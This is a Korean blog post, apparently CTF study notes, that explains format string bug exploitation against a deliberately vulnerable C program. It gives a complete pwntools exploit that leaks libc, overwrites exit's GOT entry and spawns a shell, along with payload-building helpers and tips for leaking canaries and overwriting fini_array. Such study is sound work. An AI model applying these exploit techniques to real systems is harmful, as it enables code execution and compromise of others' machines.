티스토리 뷰
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void)
{
char buf[300] = {0};
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
printf("input: ");
read(0, buf, 300);
printf(buf);
exit(0);
}
컴파일 : gcc fsb.c -o fsb -no-pie
printf
에서 Format String Bug가 발생한다.
Exploit scenario
- 오프셋 구하기
- exit_got를 main으로 돌리는 동시에
libc_start_main
leak - exit_got를
one_gadget
으로 overwrite - get shell
Exploit flow
main으로 다시 가야하는 이유는 첫 번째 fsb에서는 쉘을 띄울 수 없기 때문이다.
첫 번째 fsb로는 libc_start_main의 주소를 leak해주고
구해진 libc_start_main을 통해 libc_base 주소를 구해 oneshot 주소를 계산한다.
두 번째 fsb에서 oneshot주소로 뛰어 shell을 얻는다.
3byte overwrite or 6byte overwrite
결국 우리는 exit_got를 main함수와 oneshot의 주소로 2번 overwrite 해야한다.
첫 번째, main함수의 주소는 3byte이다.
두 번째, oneshot(library address)주소는 6byte이다.
3byte를 overwrite할 때는 그냥 %ln을 이용해서 적어주면 된다.(%ln은 8바이트 적어줌.)
시간이 그렇게 오래 걸리지 않기 때문이다.
(일반적으로 2바이트씩 나눠서 적어주는 이유는 너무 많은 시간이 걸려 payload를 작성할 수 없기 때문이다.)
#3byte
payload = ''
payload += '%'+str(e.symbols['main'])+'c'
payload += '%9$ln'+"AA"
payload += ' k%47$p ' #libc_start_main leak
payload += p64(e.got['exit'])
6byte를 overwrite할 때는 low, middle, high로 2바이트씩 끊어서 %hn(2byte write) 포멧스트링을 이용하여 적어준다.
one_gadget = libc_base + 0x4f322
one_gadget_low = one_gadget & 0xffff
one_gadget_middle = (one_gadget >> 16) & 0xffff
one_gadget_high = (one_gadget >> 32) &0xffff
low = one_gadget_low
if one_gadget_middle > one_gadget_low:
middle = one_gadget_middle - one_gadget_low
else:
middle = 0x10000 + one_gadget_middle - one_gadget_low
if one_gadget_high > one_gadget_middle:
high = one_gadget_high - one_gadget_middle
else:
high = 0x10000 + one_gadget_high - one_gadget_middle
payload2 = ''
payload2 += '%' + str(low) +'c'
payload2 += '%'+'11'+'$hn'
payload2 += '%' + str(middle) + 'c'
payload2 += '%'+'12'+'$hn'
payload2 += '%' + str(high) + 'c'
payload2 += '%'+'13'+'$hn'
payload2 += 'A' * (8 - len(payload2) % 8)
payload2 += p64(e.got['exit'])
payload2 += p64(e.got['exit']+2)
payload2 += p64(e.got['exit']+4)
아니 손으로 짜기 싫어!
def fmt(prev , target):
if prev < target:
result = target - prev
return "%" + str(result) + "c"
elif prev == target:
return ""
else:
result = 0x10000 + target - prev
return "%" + str(result) + "c"
def fmt64(offset , target_addr , target_value , prev = 0):
payload = ""
for i in range(3):
payload += p64(target_addr + i * 2)
payload2 = ""
for i in range(3):
target = (target_value >> (i * 16)) & 0xffff
payload2 += fmt(prev , target) + "%" + str(offset + 8 + i) + "$hn"
prev = target
payload = payload2.ljust(0x40 , "a") + payload
return payload
두 함수를 정의해놓고 fmt64(6, got, shell) 이렇게 쓰면 덮을 수 있다.
> exploit.py
from pwn import *
import sys
try:
server = int(sys.argv[1])
except:
server = 0
if server == 0:
s = process("fsb")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elif server == 1:
s = remote("", )
#libc = ELF("")
e = ELF("fsb")
context.log_level = 'debug'
print(e.symbols['main'])
payload = ''
payload += '%'+str(e.symbols['main'])+'c'
payload += '%9$ln'+"AA"
payload += ' k%47$p '
payload += p64(e.got['exit'])
print(len(payload))
s.sendlineafter(": ", payload)
s.recvuntil("k")
ret = int(s.recvuntil(" "),16)
libc_base = ret - libc.symbols['__libc_start_main'] -231
print(hex(libc_base))
one_gadget = libc_base + 0x4f322
one_gadget_low = one_gadget & 0xffff
one_gadget_middle = (one_gadget >> 16) & 0xffff
one_gadget_high = (one_gadget >> 32) &0xffff
low = one_gadget_low
if one_gadget_middle > one_gadget_low:
middle = one_gadget_middle - one_gadget_low
else:
middle = 0x10000 + one_gadget_middle - one_gadget_low
if one_gadget_high > one_gadget_middle:
high = one_gadget_high - one_gadget_middle
else:
high = 0x10000 + one_gadget_high - one_gadget_middle
payload2 = ''
payload2 += '%' + str(low) +'c'
payload2 += '%'+'11'+'$hn'
payload2 += '%' + str(middle) + 'c'
payload2 += '%'+'12'+'$hn'
payload2 += '%' + str(high) + 'c'
payload2 += '%'+'13'+'$hn'
payload2 += 'A' * (8 - len(payload2) % 8)
payload2 += p64(e.got['exit'])
payload2 += p64(e.got['exit']+2)
payload2 += p64(e.got['exit']+4)
payload2 += p64(0)
#print(low, middle, high)
print(len(payload2))
s.sendlineafter(": ", payload2)
s.interactive()
FSB TIP
웬만하면 pwntools의 fmtstr_payload가 편하다. 64비트도 저 함수쓰면 좋다 ㅎㅋ
leak
- 위의 예제와 같이 라이브러리의 주소가 필요할땐
__libc_start_main
을 leak한다. (https://blog.ba0bab.kr/151) - canary도 leak 가능하다.\
- 만약 PIE가 걸려있으면 sfp에 담겨있는 PIE주소도 leak이 가능하다.
- 위의 예제와 같이 라이브러리의 주소가 필요할땐
덮을곳이 없다!
- 마땅한 got overwrite할 부분이 없을 때는
fini_array
를 덮는다. rerlo가 걸려있지 않다면 write권한이 있을 것이다. - canary가 걸린 바이너리인데 덮을 곳이 없으면
__stack_chk_fail
를 덮고 카나리를 침범시킨다!
- 마땅한 got overwrite할 부분이 없을 때는
'pwnable > 정리' 카테고리의 다른 글
FSOP : File Stream Oriented Programming (0) | 2019.12.22 |
---|---|
glibc exit.c analysis (0) | 2019.11.12 |
libc_start_main leak (0) | 2018.09.13 |
kail tool pattern_create / offset (0) | 2018.09.06 |
pwnable 기법 공부하기 좋은 사이트 (0) | 2018.08.19 |
- FSB
- pwnable
- overflow
- HackCTF
- SQLi
- heap
- ebp change
- 해킹
- pwable
- stack reusing
- hacking
- tcache
- TLS
- fastbin
- fastbindup
- pwnable.tw
- srop
- codegate
- glibc
- shellcoding
- fsop
- rt_sigreturn
- oob
- exit
- 본선가고싶다
- Total
- Today
- Yesterday